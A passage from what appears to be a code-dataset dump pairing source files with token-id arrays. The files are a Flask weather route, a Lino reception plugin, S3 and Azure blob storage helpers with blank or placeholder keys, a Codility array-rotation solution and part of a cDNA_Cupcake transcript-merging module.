1125, 13, 9651, 1583, 29889, 1482, 29918, 9342, 29889, 22379, 29918, 3166, 29918, 2585, 580, 13, 2 ]
src/routes/web.py
enflo/weather-flask
0
6999
<gh_stars>0 from flask import Blueprint, render_template from gateways.models import getWeatherData web = Blueprint("web", __name__, template_folder='templates') @web.route("/", methods=['GET']) def home(): items = getWeatherData.get_last_item() cityName = items["city"] return render_template("index.html", city=cityName[0], temperature=items["temperature"], humidity=items["humidity"], pressure=items["pressure"]) #@web.route("/profile", methods=['GET']) #def profile(): # items = getWeatherData.get_last_item() # return render_template("profile.html", # celcius=items["temperature"], # humidity=items["humidity"], # pressure=items["pressure"]) #@web.route("/about", methods=['GET']) #def about(): # return render_template("about.html")
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 29784, 1053, 10924, 2158, 29892, 4050, 29918, 6886, 13, 3166, 12417, 1994, 29889, 9794, 1053, 679, 4806, 1624, 1469, 13, 13, 13, 2676, 353, 10924, 2158, 703, 2676, 613, 4770, 978, 1649, 29892, 4472, 29918, 12083, 2433, 20943, 1495, 13, 13, 29992, 2676, 29889, 13134, 11974, 613, 3519, 29922, 1839, 7194, 11287, 13, 1753, 3271, 7295, 13, 1678, 4452, 353, 679, 4806, 1624, 1469, 29889, 657, 29918, 4230, 29918, 667, 580, 13, 1678, 4272, 1170, 353, 4452, 3366, 12690, 3108, 13, 1678, 736, 4050, 29918, 6886, 703, 2248, 29889, 1420, 613, 13, 462, 9651, 4272, 29922, 12690, 1170, 29961, 29900, 1402, 13, 462, 9651, 10430, 29922, 7076, 3366, 12863, 1535, 12436, 13, 462, 9651, 3165, 333, 537, 29922, 7076, 3366, 16063, 333, 537, 12436, 13, 462, 9651, 12959, 29922, 7076, 3366, 2139, 545, 20068, 13, 13, 29937, 29992, 2676, 29889, 13134, 11974, 10185, 613, 3519, 29922, 1839, 7194, 11287, 13, 29937, 1753, 8722, 7295, 13, 29937, 1678, 4452, 353, 679, 4806, 1624, 1469, 29889, 657, 29918, 4230, 29918, 667, 580, 13, 29937, 1678, 736, 4050, 29918, 6886, 703, 10185, 29889, 1420, 613, 13, 29937, 462, 9651, 6432, 16102, 29922, 7076, 3366, 12863, 1535, 12436, 13, 29937, 462, 9651, 3165, 333, 537, 29922, 7076, 3366, 16063, 333, 537, 12436, 13, 29937, 462, 9651, 12959, 29922, 7076, 3366, 2139, 545, 20068, 13, 13, 13, 29937, 29992, 2676, 29889, 13134, 11974, 12717, 613, 3519, 29922, 1839, 7194, 11287, 13, 29937, 1753, 1048, 7295, 13, 29937, 1678, 736, 4050, 29918, 6886, 703, 12717, 29889, 1420, 1159, 13, 2 ]
lino_xl/lib/reception/__init__.py
khchine5/xl
1
12522
<reponame>khchine5/xl<gh_stars>1-10 # -*- coding: UTF-8 -*- # Copyright 2013-2016 <NAME> # # License: BSD (see file COPYING for details) """This module is for managing a reception desk and a waiting queue: register clients into a waiting queue as they present themselves at a reception desk (Empfangsschalter), and unregister them when they leave again. It depends on :mod:`lino_xl.lib.cal`. It does not add any model, but adds some workflow states, actions and tables. Extended by :mod:`lino_welfare.modlib.reception`. .. autosummary:: :toctree: models workflows """ from lino.api import ad, _ class Plugin(ad.Plugin): "See :class:`lino.core.Plugin`." verbose_name = _("Reception") needs_plugins = ['lino.modlib.system', 'lino_xl.lib.cal'] required_user_groups = 'reception' """The required user groups for viewing actors of this plugin. This is overridden by Lino Welfare to include "coaching". This way of configuring permissions is an example for why it would be useful to replace user groups by a UserType class (and to populate UserTypes with subclasses of it). """ def setup_main_menu(config, site, user_type, m): app = site.plugins.reception m = m.add_menu(app.app_name, app.verbose_name) m.add_action('cal.EntriesByDay') m.add_action('reception.WaitingVisitors') m.add_action('reception.BusyVisitors') m.add_action('reception.GoneVisitors') # MyWaitingVisitors is maybe not needed as a menu entry since it # is also a get_dashboard_items. if i remove it then i must edit # `pcsw_tests.py`. Waiting for user feedback before doing this. m.add_action('reception.MyWaitingVisitors')
[ 1, 529, 276, 1112, 420, 29958, 15339, 305, 457, 29945, 29914, 15524, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 448, 29930, 29899, 14137, 29901, 18351, 29899, 29947, 448, 29930, 29899, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29896, 29941, 29899, 29906, 29900, 29896, 29953, 529, 5813, 29958, 13, 29937, 13, 29937, 19245, 29901, 350, 7230, 313, 4149, 934, 315, 4590, 29979, 4214, 363, 4902, 29897, 13, 13, 15945, 29908, 4013, 3883, 338, 363, 767, 6751, 263, 25647, 553, 29895, 322, 263, 10534, 9521, 29901, 13, 9573, 13154, 964, 263, 10534, 9521, 408, 896, 2198, 6053, 472, 263, 13, 276, 1441, 553, 29895, 313, 10495, 11363, 29879, 816, 13794, 511, 322, 443, 9573, 963, 746, 896, 5967, 13, 351, 475, 29889, 13, 13, 3112, 7111, 373, 584, 1545, 18078, 29880, 1789, 29918, 15524, 29889, 1982, 29889, 1052, 1412, 739, 947, 451, 788, 738, 1904, 29892, 541, 13, 1202, 29879, 777, 27321, 5922, 29892, 8820, 322, 6131, 29889, 13, 13, 5647, 2760, 491, 584, 1545, 18078, 29880, 1789, 29918, 29893, 761, 598, 29889, 1545, 1982, 29889, 276, 1441, 1412, 13, 13, 13, 636, 1120, 359, 398, 5219, 1057, 13, 259, 584, 517, 312, 929, 29901, 13, 13, 1678, 4733, 13, 1678, 27321, 29879, 13, 13, 13, 15945, 29908, 13, 3166, 301, 1789, 29889, 2754, 1053, 594, 29892, 903, 13, 13, 13, 1990, 1858, 3851, 29898, 328, 29889, 16288, 1125, 13, 1678, 376, 13393, 584, 1990, 18078, 29880, 1789, 29889, 3221, 29889, 16288, 29952, 1213, 13, 1678, 26952, 29918, 978, 353, 903, 703, 1123, 1441, 1159, 13, 13, 1678, 4225, 29918, 12800, 353, 6024, 29880, 1789, 29889, 1545, 1982, 29889, 5205, 742, 525, 29880, 1789, 29918, 15524, 29889, 1982, 29889, 1052, 2033, 13, 13, 1678, 3734, 29918, 1792, 29918, 13155, 353, 525, 276, 1441, 29915, 13, 1678, 9995, 1576, 3734, 1404, 6471, 363, 1776, 292, 29701, 310, 445, 7079, 29889, 13, 268, 13, 1678, 910, 338, 20831, 1145, 491, 365, 1789, 399, 761, 598, 304, 3160, 376, 1111, 9733, 1642, 13, 13, 1678, 910, 982, 310, 2295, 3864, 11239, 338, 385, 1342, 363, 2020, 372, 723, 13, 1678, 367, 5407, 304, 5191, 1404, 6471, 491, 263, 4911, 1542, 770, 313, 392, 304, 13, 1678, 19450, 4911, 10562, 411, 1014, 13203, 310, 372, 467, 13, 13, 1678, 9995, 13, 13, 1678, 822, 6230, 29918, 3396, 29918, 6510, 29898, 2917, 29892, 3268, 29892, 1404, 29918, 1853, 29892, 286, 1125, 13, 4706, 623, 353, 3268, 29889, 12800, 29889, 276, 1441, 13, 4706, 286, 353, 286, 29889, 1202, 29918, 6510, 29898, 932, 29889, 932, 29918, 978, 29892, 623, 29889, 369, 15828, 29918, 978, 29897, 13, 13, 4706, 286, 29889, 1202, 29918, 2467, 877, 1052, 29889, 5292, 2722, 2059, 12742, 1495, 13, 13, 4706, 286, 29889, 1202, 29918, 2467, 877, 276, 1441, 29889, 15716, 292, 6116, 17259, 1495, 13, 4706, 286, 29889, 1202, 29918, 2467, 877, 276, 1441, 29889, 16890, 29891, 6116, 17259, 1495, 13, 4706, 286, 29889, 1202, 29918, 2467, 877, 276, 1441, 29889, 29954, 650, 6116, 17259, 1495, 13, 13, 4706, 396, 1619, 15716, 292, 6116, 17259, 338, 5505, 451, 4312, 408, 263, 6143, 6251, 1951, 372, 13, 4706, 396, 338, 884, 263, 679, 29918, 14592, 3377, 29918, 7076, 29889, 565, 474, 3349, 372, 769, 474, 1818, 3863, 13, 4706, 396, 421, 29886, 2395, 29893, 29918, 21150, 29889, 2272, 1412, 29871, 20340, 292, 363, 1404, 16705, 1434, 2599, 445, 29889, 13, 4706, 286, 29889, 1202, 29918, 2467, 877, 276, 1441, 29889, 3421, 15716, 292, 6116, 17259, 1495, 13, 13, 2 ]
python/fedml/cli/comm_utils/remote_storage.py
ray-ruisun/FedML
0
126495
import os import boto3 from python.fedml.utils import logging from python.fedml.utils.logging import logger BUCKET_NAME = "fedmls3" # aws_access_key_id、aws_secret_access_key、region CN_S3_AKI = '' CN_S3_SAK = '' CN_REGION_NAME = 'us-east-1' # s3 client s3 = boto3.client('s3', region_name=CN_REGION_NAME, aws_access_key_id=CN_S3_AKI, aws_secret_access_key=CN_S3_SAK) @logger.catch def upload_file(src_local_path, dest_s3_path): """ upload file :param src_local_path: :param dest_s3_path: :return: """ try: with open(src_local_path, 'rb') as f: s3.upload_fileobj(f, BUCKET_NAME, dest_s3_path) except Exception as e: logging.error(f'Upload data failed. | src: {src_local_path} | dest: {dest_s3_path} | Exception: {e}') return False logging.info(f'Uploading file successful. | src: {src_local_path} | dest: {dest_s3_path}') return True def download_file(path_s3, path_local): """ download file :param path_s3: s3 key :param path_local: local path :return: """ retry = 0 while retry < 3: logging.info(f'Start downloading files. | path_s3: {path_s3} | path_local: {path_local}') try: s3.download_file(BUCKET_NAME, path_s3, path_local) file_size = os.path.getsize(path_local) logging.info(f'Downloading completed. | size: {round(file_size / 1048576, 2)} MB') break except Exception as e: logging.error(f'Download zip failed. | Exception: {e}') retry += 1 if retry >= 3: logging.error(f'Download zip failed after max retry.') @logger.catch def delete_s3_zip(path_s3): """ delete s3 object :param path_s3: s3 key :return: """ s3.delete_object(Bucket=BUCKET_NAME, Key=path_s3) logging.info(f'Delete s3 file Successful. | path_s3 = {path_s3}') if __name__ == "__main__": upload_file("./s3_test_file", "run_id_000001/client_id_s3_test_file")
[ 1, 1053, 2897, 13, 13, 5215, 289, 3747, 29941, 13, 13, 3166, 3017, 29889, 29888, 287, 828, 29889, 13239, 1053, 12183, 13, 3166, 3017, 29889, 29888, 287, 828, 29889, 13239, 29889, 21027, 1053, 17927, 13, 13, 7838, 7077, 2544, 29918, 5813, 353, 376, 29888, 287, 828, 29879, 29941, 29908, 13, 29937, 25879, 29918, 5943, 29918, 1989, 29918, 333, 30330, 10467, 29918, 19024, 29918, 5943, 29918, 1989, 30330, 12803, 13, 13778, 29918, 29903, 29941, 29918, 22311, 29902, 353, 6629, 13, 13778, 29918, 29903, 29941, 29918, 8132, 29968, 353, 6629, 13, 13778, 29918, 18166, 2725, 29918, 5813, 353, 525, 375, 29899, 23027, 29899, 29896, 29915, 13, 29937, 269, 29941, 3132, 13, 29879, 29941, 353, 289, 3747, 29941, 29889, 4645, 877, 29879, 29941, 742, 5120, 29918, 978, 29922, 13778, 29918, 18166, 2725, 29918, 5813, 29892, 13, 462, 29871, 25879, 29918, 5943, 29918, 1989, 29918, 333, 29922, 13778, 29918, 29903, 29941, 29918, 22311, 29902, 29892, 25879, 29918, 19024, 29918, 5943, 29918, 1989, 29922, 13778, 29918, 29903, 29941, 29918, 8132, 29968, 29897, 13, 13, 13, 29992, 21707, 29889, 12510, 13, 1753, 6441, 29918, 1445, 29898, 4351, 29918, 2997, 29918, 2084, 29892, 2731, 29918, 29879, 29941, 29918, 2084, 1125, 13, 1678, 9995, 13, 1678, 6441, 934, 13, 1678, 584, 3207, 4765, 29918, 2997, 29918, 2084, 29901, 13, 1678, 584, 3207, 2731, 29918, 29879, 29941, 29918, 2084, 29901, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 1018, 29901, 13, 4706, 411, 1722, 29898, 4351, 29918, 2997, 29918, 2084, 29892, 525, 6050, 1495, 408, 285, 29901, 13, 9651, 269, 29941, 29889, 9009, 29918, 1445, 5415, 29898, 29888, 29892, 350, 29965, 7077, 2544, 29918, 5813, 29892, 2731, 29918, 29879, 29941, 29918, 2084, 29897, 13, 1678, 5174, 8960, 408, 321, 29901, 13, 4706, 12183, 29889, 2704, 29898, 29888, 29915, 17553, 848, 5229, 29889, 891, 4765, 29901, 426, 4351, 29918, 2997, 29918, 2084, 29913, 891, 2731, 29901, 426, 7854, 29918, 29879, 29941, 29918, 2084, 29913, 891, 8960, 29901, 426, 29872, 29913, 1495, 13, 4706, 736, 7700, 13, 1678, 12183, 29889, 3888, 29898, 29888, 29915, 3373, 13234, 934, 9150, 29889, 891, 4765, 29901, 426, 4351, 29918, 2997, 29918, 2084, 29913, 891, 2731, 29901, 426, 7854, 29918, 29879, 29941, 29918, 2084, 29913, 1495, 13, 1678, 736, 5852, 13, 13, 13, 1753, 5142, 29918, 1445, 29898, 2084, 29918, 29879, 29941, 29892, 2224, 29918, 2997, 1125, 13, 1678, 9995, 13, 1678, 5142, 934, 13, 1678, 584, 3207, 2224, 29918, 29879, 29941, 29901, 269, 29941, 1820, 13, 1678, 584, 3207, 2224, 29918, 2997, 29901, 1887, 2224, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 337, 2202, 353, 29871, 29900, 13, 1678, 1550, 337, 2202, 529, 29871, 29941, 29901, 13, 4706, 12183, 29889, 3888, 29898, 29888, 29915, 4763, 28536, 2066, 29889, 891, 2224, 29918, 29879, 29941, 29901, 426, 2084, 29918, 29879, 29941, 29913, 891, 2224, 29918, 2997, 29901, 426, 2084, 29918, 2997, 29913, 1495, 13, 4706, 1018, 29901, 13, 9651, 269, 29941, 29889, 10382, 29918, 1445, 29898, 7838, 7077, 2544, 29918, 5813, 29892, 2224, 29918, 29879, 29941, 29892, 2224, 29918, 2997, 29897, 13, 9651, 934, 29918, 2311, 353, 2897, 29889, 2084, 29889, 657, 2311, 29898, 2084, 29918, 2997, 29897, 13, 9651, 12183, 29889, 3888, 29898, 29888, 29915, 6767, 13234, 8676, 29889, 891, 2159, 29901, 426, 14486, 29898, 1445, 29918, 2311, 847, 29871, 29896, 29900, 29946, 29947, 29945, 29955, 29953, 29892, 29871, 29906, 2915, 13232, 1495, 13, 9651, 2867, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 12183, 29889, 2704, 29898, 29888, 29915, 22954, 14319, 5229, 29889, 891, 8960, 29901, 426, 29872, 29913, 1495, 13, 9651, 337, 2202, 4619, 29871, 29896, 13, 1678, 565, 337, 2202, 6736, 29871, 29941, 29901, 13, 4706, 12183, 29889, 2704, 29898, 29888, 29915, 22954, 14319, 5229, 1156, 4236, 337, 2202, 29889, 1495, 13, 13, 13, 29992, 21707, 29889, 12510, 13, 1753, 5217, 29918, 29879, 29941, 29918, 7554, 29898, 2084, 29918, 29879, 29941, 1125, 13, 1678, 9995, 13, 1678, 5217, 269, 29941, 1203, 13, 1678, 584, 3207, 2224, 29918, 29879, 29941, 29901, 269, 29941, 1820, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 269, 29941, 29889, 8143, 29918, 3318, 29898, 29933, 2707, 300, 29922, 7838, 7077, 2544, 29918, 5813, 29892, 7670, 29922, 2084, 29918, 29879, 29941, 29897, 13, 1678, 12183, 29889, 3888, 29898, 29888, 29915, 12498, 269, 29941, 934, 21397, 1319, 29889, 891, 2224, 29918, 29879, 29941, 353, 426, 2084, 29918, 29879, 29941, 29913, 1495, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 6441, 29918, 1445, 703, 6904, 29879, 29941, 29918, 1688, 29918, 1445, 613, 376, 3389, 29918, 333, 29918, 29900, 29900, 29900, 29900, 29900, 29896, 29914, 4645, 29918, 333, 29918, 29879, 29941, 29918, 1688, 29918, 1445, 1159, 13, 2 ]
database/repositories/ModelBlobRepository.py
roblkenn/EECS441-Backend
0
34472
<filename>database/repositories/ModelBlobRepository.py from azure.storage.blob.baseblobservice import BaseBlobService from azure.storage.blob.blockblobservice import BlockBlobService from database.models.Blob import Blob class ModelBlobRepository: def __init__(self): self.blockBlobService = BlockBlobService(account_name='stylesblobstorage', account_key='<KEY>') self.blobService = BaseBlobService(account_name='stylesblobstorage', account_key='<KEY>') self.containerName = 'models' def create(self, modelBytes, userId): self.blockBlobService.create_blob_from_text(self.containerName, userId, modelBytes) return userId def read(self, blobName): blob = self.blobService.get_blob_to_text(self.containerName, blobName) return Blob(blob) def delete(self, blobName): return self.blobService.delete_blob(self.containerName, blobName)
[ 1, 529, 9507, 29958, 9803, 29914, 276, 1066, 20106, 29914, 3195, 29933, 2127, 11481, 29889, 2272, 13, 3166, 15699, 29889, 12925, 29889, 10054, 29889, 3188, 10054, 5509, 1053, 7399, 29933, 2127, 3170, 13, 3166, 15699, 29889, 12925, 29889, 10054, 29889, 1271, 10054, 5509, 1053, 15658, 29933, 2127, 3170, 13, 3166, 2566, 29889, 9794, 29889, 29933, 2127, 1053, 350, 2127, 13, 13, 1990, 8125, 29933, 2127, 11481, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 1271, 29933, 2127, 3170, 353, 15658, 29933, 2127, 3170, 29898, 10149, 29918, 978, 2433, 9783, 10054, 12925, 742, 3633, 29918, 1989, 2433, 29966, 10818, 29958, 1495, 13, 4706, 1583, 29889, 10054, 3170, 353, 7399, 29933, 2127, 3170, 29898, 10149, 29918, 978, 2433, 9783, 10054, 12925, 742, 3633, 29918, 1989, 2433, 29966, 10818, 29958, 1495, 13, 4706, 1583, 29889, 7611, 1170, 353, 525, 9794, 29915, 13, 13, 1678, 822, 1653, 29898, 1311, 29892, 1904, 11207, 29892, 1404, 1204, 1125, 13, 4706, 1583, 29889, 1271, 29933, 2127, 3170, 29889, 3258, 29918, 10054, 29918, 3166, 29918, 726, 29898, 1311, 29889, 7611, 1170, 29892, 1404, 1204, 29892, 1904, 11207, 29897, 13, 4706, 736, 1404, 1204, 13, 13, 1678, 822, 1303, 29898, 1311, 29892, 23755, 1170, 1125, 13, 4706, 23755, 353, 1583, 29889, 10054, 3170, 29889, 657, 29918, 10054, 29918, 517, 29918, 726, 29898, 1311, 29889, 7611, 1170, 29892, 23755, 1170, 29897, 13, 4706, 736, 350, 2127, 29898, 10054, 29897, 13, 13, 1678, 822, 5217, 29898, 1311, 29892, 23755, 1170, 1125, 13, 4706, 736, 1583, 29889, 10054, 3170, 29889, 8143, 29918, 10054, 29898, 1311, 29889, 7611, 1170, 29892, 23755, 1170, 29897, 13, 2 ]
datasets/__init__.py
bomtorazek/LateTemporalModeling3DCNN
3
107858
<gh_stars>1-10 from .ucf101 import ucf101 from .hmdb51 import hmdb51 from .cvpr import cvpr from .cvpr_le import cvpr_le __all__ = ('ucf101','hmdb51', 'cvpr', 'cvpr_le')
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 869, 1682, 29888, 29896, 29900, 29896, 1053, 318, 6854, 29896, 29900, 29896, 13, 3166, 869, 7184, 2585, 29945, 29896, 1053, 298, 29885, 2585, 29945, 29896, 13, 3166, 869, 11023, 558, 1053, 13850, 558, 13, 3166, 869, 11023, 558, 29918, 280, 1053, 13850, 558, 29918, 280, 13, 13, 1649, 497, 1649, 353, 6702, 1682, 29888, 29896, 29900, 29896, 3788, 7184, 2585, 29945, 29896, 742, 525, 11023, 558, 742, 525, 11023, 558, 29918, 280, 1495, 13, 2 ]
Codility/CyclicRotation.py
royn5618/ProgrammingPractice
0
112862
# Challenge Link - https://app.codility.com/programmers/lessons/2-arrays/cyclic_rotation/ # My Results - https://app.codility.com/demo/results/trainingFGAZZW-5XB/ def solution(A, K): # write your code in Python 3.6 if not A: return [] idx = [i for i in range(0, len(A))] while K: idx = [i + 1 for i in idx] max_index = idx.index(max(idx)) idx[max_index] = 0 K = K - 1 new_list = [0] * len(A) for n, index in zip(A, idx): new_list[index] = n return new_list
[ 1, 396, 27211, 6645, 448, 2045, 597, 932, 29889, 19284, 1793, 29889, 510, 29914, 8860, 13269, 29914, 2222, 787, 29914, 29906, 29899, 2378, 29879, 29914, 8798, 506, 29918, 5450, 362, 29914, 13, 29937, 1619, 17212, 448, 2045, 597, 932, 29889, 19284, 1793, 29889, 510, 29914, 17482, 29914, 9902, 29914, 26495, 29943, 12739, 29999, 29999, 29956, 29899, 29945, 29990, 29933, 29914, 13, 13, 1753, 1650, 29898, 29909, 29892, 476, 1125, 13, 1678, 396, 2436, 596, 775, 297, 5132, 29871, 29941, 29889, 29953, 13, 1678, 565, 451, 319, 29901, 13, 4706, 736, 5159, 13, 1678, 22645, 353, 518, 29875, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 29909, 28166, 13, 1678, 1550, 476, 29901, 13, 4706, 22645, 353, 518, 29875, 718, 29871, 29896, 363, 474, 297, 22645, 29962, 13, 4706, 4236, 29918, 2248, 353, 22645, 29889, 2248, 29898, 3317, 29898, 13140, 876, 13, 4706, 22645, 29961, 3317, 29918, 2248, 29962, 353, 29871, 29900, 13, 4706, 476, 353, 476, 448, 29871, 29896, 13, 1678, 716, 29918, 1761, 353, 518, 29900, 29962, 334, 7431, 29898, 29909, 29897, 13, 1678, 363, 302, 29892, 2380, 297, 14319, 29898, 29909, 29892, 22645, 1125, 13, 4706, 716, 29918, 1761, 29961, 2248, 29962, 353, 302, 13, 1678, 736, 716, 29918, 1761, 13, 2 ]
src/cupcake/tofu/counting/combine_abundance_across_samples.py
milescsmith/cDNA_Cupcake
0
197709
__author__ = "<EMAIL>" import re import sys from collections import defaultdict, namedtuple from csv import DictWriter from pathlib import Path from typing import Any, Dict, List, Optional, Union from Bio import SeqIO from bx.intervals import IntervalTree from bx.intervals.cluster import ClusterTree from cupcake import cupcake_logger as logger from cupcake.sequence import GFF from cupcake.tofu import compare_junctions seqid_rex = re.compile(r"(\\S+\\.\\d+)\\.(\\d+)") MatchRecord = namedtuple( "MatchRecord", ["ref_id", "addon_id", "rec", "members", "seqrec"] ) def find_representative_in_iso_list(records: List[GFF.gmapRecord]) -> GFF.gmapRecord: """ :param records: list of GMAPRecord :return: representative record that is (a) the most number of exons or then (b) longest """ rep = records[0] for r in records[1:]: if len(rep.ref_exons) < len(r.ref_exons) or (rep.end - rep.start) < ( r.end - r.start ): rep = r return rep def sanity_check_seqids(seqids: List[str]): for seqid in seqids: m = seqid_rex.match(seqid) if m is None: logger.error( f"Expected ID format (ex: PB.1.2) not followed by {seqid}! Abort!" ) sys.exit(-1) def get_fusion_id(seqid: str) -> str: m = seqid_rex.match(seqid) return m.group(1) def write_reclist_to_gff_n_info( rec_list: Dict[str, Any], final_prefix: str, ref_name: str, addon_name: str, use_fq: bool = False, ) -> Dict[str, str]: # now go through the rec list and figure out in what order we are outputting the total records tree = defaultdict(lambda: {"+": ClusterTree(0, 0), "-": ClusterTree(0, 0)}) tree_keys_numeric = set() tree_keys_alpha = set() for i, match_rec in enumerate(rec_list): tree[match_rec.rec.chr][match_rec.rec.strand].insert( match_rec.rec.start, match_rec.rec.end, i ) for chrom in tree: try: k = int(chrom) tree_keys_numeric.add(k) except ValueError: tree_keys_alpha.add(chrom) tree_keys = sorted(tree_keys_numeric) + sorted(tree_keys_alpha) writer_info = DictWriter( Path(f"{final_prefix}.mega_info.txt").open("w"), fieldnames=["superPBID", ref_name, addon_name], delimiter="\t", ) writer_info.writeheader() if use_fq: f_fq = Path(f"{final_prefix}.rep.fq") with open(f"{final_prefix}.gff", "w") as f_gff, open( f"{final_prefix}.group.txt", "w" ) as f_group: new_group_info = {} pb_i = 0 for _chr in tree_keys: for _strand in ("+", "-"): for *_, _indices in tree[_chr][_strand].getregions(): # further sort these records by (start, end, num_exons) _indices.sort( key=lambda i: ( rec_list[i].rec.start, rec_list[i].rec.end, len(rec_list[i].rec.ref_exons), ) ) pb_i += 1 for pb_j, recs_index in enumerate(_indices): pbid = f"PB.{pb_i}.{pb_j + 1}" match_rec = rec_list[recs_index] new_group_info[pbid] = match_rec.members match_rec.rec.seqid = pbid GFF.write_collapseGFF_format(f_gff, match_rec.rec) writer_info.writerow( { "superPBID": pbid, ref_name: match_rec.ref_id, addon_name: match_rec.addon_id, } ) f_group.write(f"{pbid}\t{','.join(match_rec.members)}\n") if use_fq: match_rec.seqrec.id = pbid match_rec.seqrec.description = "" SeqIO.write(match_rec.seqrec, f_fq, "fastq") return new_group_info class MegaPBTree: """ Structure for maintaining a non-redundant set of gene annotations Used to combine with different collapsed GFFs from different samples """ def __init__( self, gff_filename: str, group_filename: str, internal_fuzzy_max_dist: int = 0, self_prefix: Optional[str] = None, allow_5merge: bool = False, fastq_filename: Optional[str] = None, max_3_diff: Optional[int] = None, ): self.gff_filename = gff_filename self.group_filename = group_filename self.self_prefix = self_prefix self.internal_fuzzy_max_dist = internal_fuzzy_max_dist self.max_3_diff = max_3_diff self.allow_5merge = allow_5merge self.record_d = {r.seqid: r for r in GFF.collapseGFFReader(gff_filename)} # sanity_check_seqids(self.record_d.keys()) # sanity check all IDs look like PB.1.2 self.tree = defaultdict( lambda: {"+": IntervalTree(), "-": IntervalTree()} ) # chr --> strand --> tree self.fastq_dict = None if fastq_filename is not None: self.fastq_dict = MegaPBTree.read_fastq_to_dict(fastq_filename) # print >> sys.stderr, "self.internal_fuzzy_max_dist is", internal_fuzzy_max_dist # raw_input() self.read_gff_as_interval_tree() self.group_info = MegaPBTree.read_group( self.group_filename, self.self_prefix ) # ex: PB.1.1 --> [ RatHeart|i3_c123.... ] def read_gff_as_interval_tree(self): """ Read a collapsed GFF file into an IntervalTree """ for r in GFF.collapseGFFReader(self.gff_filename): self.tree[r.chr][r.strand].insert(r.start, r.end, r) @staticmethod def read_fastq_to_dict( fastq_filename: Union[str, Path] ) -> Dict[str, SeqIO.SeqRecord]: fastq_dict = {} for r in SeqIO.parse(open(fastq_filename), "fastq"): fastq_dict[r.id.split("|")[0]] = r return fastq_dict @staticmethod def read_group( group_filename: Union[str, Path], group_prefix: str ) -> Dict[str, List[str]]: group_info = {} with open(group_filename) as f: for line in f: pbid, members = line.strip().split("\t") if group_prefix is None: group_info[pbid] = list(members.split(",")) else: group_info[pbid] = [ f"{group_prefix}|{x}" for x in members.split(",") ] return group_info def match_record_to_tree(self, r: GFF.gmapRecord) -> GFF.gmapRecord: """ r --- GMAPRecord tree --- dict of chromosome --> strand --> IntervalTree If exact match (every exon junction) or 5' truncated (allow_5merge is True), YIELD the matching GMAPRecord(s) *NOTE/UPDATE*: could have multiple matches! ) """ # if r.chr=='chr17' and r.start > 39604000: # pdb.set_trace() matches = self.tree[r.chr][r.strand].find(r.start, r.end) for r2 in matches: r.segments = r.ref_exons # the incoming entry r2.segments = r2.ref_exons # an existing entries in the tree n1 = len(r.segments) # how many exons? n2 = len(r2.segments) three_end_is_match = ( self.max_3_diff is None or (r.strand == "+" and abs(r.end - r2.end) <= self.max_3_diff) or (r.strand == "-" and abs(r.start - r2.start) <= self.max_3_diff) ) # either nothing, so whether the 3' ends "match" (within reason) last_junction_match = False if ( n1 == 1 ): # essentially, if there is just the one exon for both, assume they are the same if n2 == 1: last_junction_match = True else: last_junction_match = False else: if n2 == 1: last_junction_match = False else: if r.strand == "+": last_junction_match = ( abs(r.segments[-1].start - r2.segments[-1].start) <= self.internal_fuzzy_max_dist ) and ( abs(r.segments[0].end - r2.segments[0].end) <= self.internal_fuzzy_max_dist ) # match if the difference in the positions of either end of the first and last exon are under a certain distance else: last_junction_match = ( abs(r.segments[0].end - r2.segments[0].end) <= self.internal_fuzzy_max_dist ) and ( abs(r.segments[1].start - r2.segments[1].start) <= self.internal_fuzzy_max_dist ) # How well do the exon junctions overlap? # Exact matches? if self.allow_5merge: if len(r.segments) > len(r2.segments): a, b = r, r2 else: a, b = r2, r else: b, a = r, r2 # rearranged so that `compare_junctions` is run once, not twice junct_compare = compare_junctions.compare_junctions( b, a, internal_fuzzy_max_dist=self.internal_fuzzy_max_dist ) if junct_compare == "exact": # is a match! if three_end_is_match: yield r2 # check if the shorter one is a subset of the longer one elif self.allow_5merge: # a is the longer one, b is the shorter one if junct_compare == "subset": # we only know that a is a subset of b, verify that it is actually 5' truncated (strand-sensitive!) # if + strand, last junction of (a,b) should match and 3' end not too diff # if - strand, first exon of a should match first exon of b AND the next exon don't overlap if three_end_is_match and last_junction_match: yield r2 def add_sample( self, gff_filename: Union[str, Path], group_filename: Union[str, Path], sample_prefix: str, output_prefix: str, fastq_filename: Union[str, Path] = None, ) -> None: combined = [] # list of (<matches to r2 or None>, r2) unmatched_recs = set(self.record_d.keys()) for r in GFF.collapseGFFReader(gff_filename): # for each collapsed transcript, find records that overlap match_rec_list = list(self.match_record_to_tree(r)) if len(match_rec_list) > 0: # found match(es)! put longer of r1/r2 in # if len(match_rec_list) > 1: pdb.set_trace() #DEBUG combined.append((match_rec_list, r)) for match_rec in match_rec_list: try: unmatched_recs.remove(match_rec.seqid) except KeyError: pass # already deleted, OK, this can happen else: # r is not present in current tree combined.append((None, r)) # put whatever is left from the tree in for seqid in unmatched_recs: combined.append(([self.record_d[seqid]], None)) # create a ClusterTree to re-calc the loci/transcripts final_tree = defaultdict( lambda: {"+": ClusterTree(0, 0), "-": ClusterTree(0, 0)} ) for i, (r1s, r2) in enumerate(combined): if r1s is None: final_tree[r2.chr][r2.strand].insert(r2.start, r2.end, i) else: if r2 is not None: rep = find_representative_in_iso_list(r1s + [r2]) else: rep = find_representative_in_iso_list(r1s) final_tree[rep.chr][rep.strand].insert(rep.start, rep.end, i) self.write_cluster_tree_as_gff( rec_list=combined, group_filename2=group_filename, sample_prefix2=sample_prefix, output_prefix=output_prefix, fastq_filename2=fastq_filename, ) def write_cluster_tree_as_gff( self, rec_list: List[GFF.gmapRecord], group_filename2: Union[str, Path], sample_prefix2: str, output_prefix: str, fastq_filename2: Union[str, Path] = None, ) -> Dict[str, str]: """ Write ClusterTree (chr --> dict --> (start, end, rec_list_index)) as collapsedGFF format Returns --- a new group_info!!! """ use_fq = 